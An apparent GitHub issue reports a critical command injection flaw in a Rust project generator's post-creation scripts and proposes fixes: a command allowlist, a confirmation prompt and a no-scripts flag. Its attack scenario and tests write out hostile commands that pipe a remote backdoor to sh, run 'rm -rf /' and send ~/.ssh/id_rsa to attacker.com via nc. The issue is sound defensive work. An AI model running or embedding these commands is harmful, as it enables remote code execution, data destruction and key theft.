-
Notifications
You must be signed in to change notification settings - Fork 0
Open
Labels
Description
🔒 [SECURITY] Command Injection in Post-Creation Scripts
Priority: 🔴 Critical
Description
The execute_scripts() function directly passes user-provided commands to the shell without any sanitization or validation, allowing arbitrary command execution.
Vulnerability Details
Current Code (Vulnerable)
// In generator.rs - execute_scripts()
Command::new("sh")
.args(["-c", script]) // Direct execution of user input!
.current_dir(&self.output_dir)
.output()Attack Scenario
{
"project": {
"name": "hacked_project"
},
"custom_scripts": {
"post_create": [
"echo 'Installing dependencies...' && curl http://malicious.com/backdoor.sh | sh",
"rm -rf / --no-preserve-root",
"cat ~/.ssh/id_rsa | nc attacker.com 4444"
]
}
}Impact
- Severity: Critical
- Attack Vector: Malicious JSON configuration
- Affected Component:
ProjectGenerator::execute_scripts() - Attackers could:
- Execute arbitrary system commands
- Delete files/directories
- Exfiltrate sensitive data
- Install malware
- Pivot to other systems
Root Cause
The tool treats JSON configs as trusted input but users can:
- Download configs from untrusted sources
- Be social-engineered into using malicious templates
- Accidentally use compromised configs
Proposed Solutions
Option 1: Whitelist Approved Commands (Recommended)
const ALLOWED_COMMANDS: &[&str] = &[
"cargo", "npm", "yarn", "git", "poetry",
"pip", "go", "flutter", "dotnet"
];
fn validate_script(&self, script: &str) -> Result<()> {
let parts: Vec<&str> = script.split_whitespace().collect();
if parts.is_empty() {
bail!("Empty script command");
}
let command = parts[0];
if !ALLOWED_COMMANDS.contains(&command) {
bail!(
"Command '{}' is not allowed. Permitted: {:?}",
command,
ALLOWED_COMMANDS
);
}
// Check for shell operators
if script.contains(';') || script.contains('|') ||
script.contains('&') || script.contains('`') ||
script.contains('$') {
bail!("Shell operators not allowed in scripts");
}
Ok(())
}Option 2: Interactive Confirmation
pub fn execute_scripts(&self, scripts: &[String]) -> Result<()> {
println!("\n⚠️ About to execute {} scripts:", scripts.len());
for (i, script) in scripts.iter().enumerate() {
println!(" {}. {}", i + 1, script.yellow());
}
print!("\nContinue? [y/N]: ");
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
if input.trim().to_lowercase() != "y" {
println!("❌ Script execution cancelled");
return Ok(());
}
// Execute with validation
for script in scripts {
self.validate_script(script)?;
self.execute_single_script(script)?;
}
Ok(())
}Option 3: Dry-Run Mode
#[derive(Parser, Debug)]
pub struct Cli {
#[clap(short, long)]
pub config: String,
#[clap(short, long)]
pub output: Option<String>,
// NEW FLAG
#[clap(long)]
pub no_scripts: bool, // Skip script execution
#[clap(long)]
pub dry_run: bool, // Show what would be created
}Recommended Implementation
Multi-Layer Defense
impl ProjectGenerator {
pub fn execute_scripts(&self, scripts: &[String], flags: &ScriptFlags) -> Result<()> {
// Layer 1: Check flag
if flags.skip_scripts {
crate::ui::print_info("Skipping scripts (--no-scripts flag)");
return Ok(());
}
// Layer 2: Validate all scripts first
for script in scripts {
self.validate_script(script)?;
}
// Layer 3: User confirmation
if !flags.auto_confirm {
self.prompt_user_confirmation(scripts)?;
}
// Layer 4: Execute in restricted environment
for script in scripts {
self.execute_sandboxed(script)?;
}
Ok(())
}
fn execute_sandboxed(&self, script: &str) -> Result<()> {
// Set restrictive environment
let output = Command::new(self.get_shell_command())
.args(self.get_shell_args(script))
.current_dir(&self.output_dir)
.env_clear() // Clear all env vars
.env("PATH", "/usr/local/bin:/usr/bin:/bin") // Minimal PATH
.env("HOME", &self.output_dir) // Restrict HOME
.output()?;
if !output.status.success() {
bail!("Script failed: {}", String::from_utf8_lossy(&output.stderr));
}
Ok(())
}
}Documentation Updates
Add to README.md:
## ⚠️ Security Notice
### Script Execution Safety
Post-creation scripts run with your user permissions. **Always review**
`custom_scripts` before running configs from untrusted sources.
**Safe usage:**
```bash
# Review the config first
cat template.json | grep -A 10 "custom_scripts"
# Use --no-scripts flag
quick-arch --config untrusted.json --no-scripts
# Then manually run approved commands
cd my_project && cargo buildAllowed commands: cargo, npm, yarn, git, pip, poetry, go, flutter, dotnet
## Testing
```rust
#[test]
fn test_reject_dangerous_commands() {
let gen = create_test_generator();
// Should fail
assert!(gen.validate_script("rm -rf /").is_err());
assert!(gen.validate_script("curl malicious.com | sh").is_err());
assert!(gen.validate_script("git init && rm -rf /").is_err());
// Should pass
assert!(gen.validate_script("cargo build").is_ok());
assert!(gen.validate_script("npm install").is_ok());
}
Action Items
- Implement command whitelist
- Add
--no-scriptsflag - Add interactive confirmation by default
- Sanitize environment variables
- Add security warning to README
- Create SECURITY.md file
- Add script validation tests
- Consider sandboxing (Docker/containers)
References
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
Related Issues
- Relates to Path Traversal Vulnerability #1 (Path Traversal)
- Blocks stable release until fixed
Reactions are currently unavailable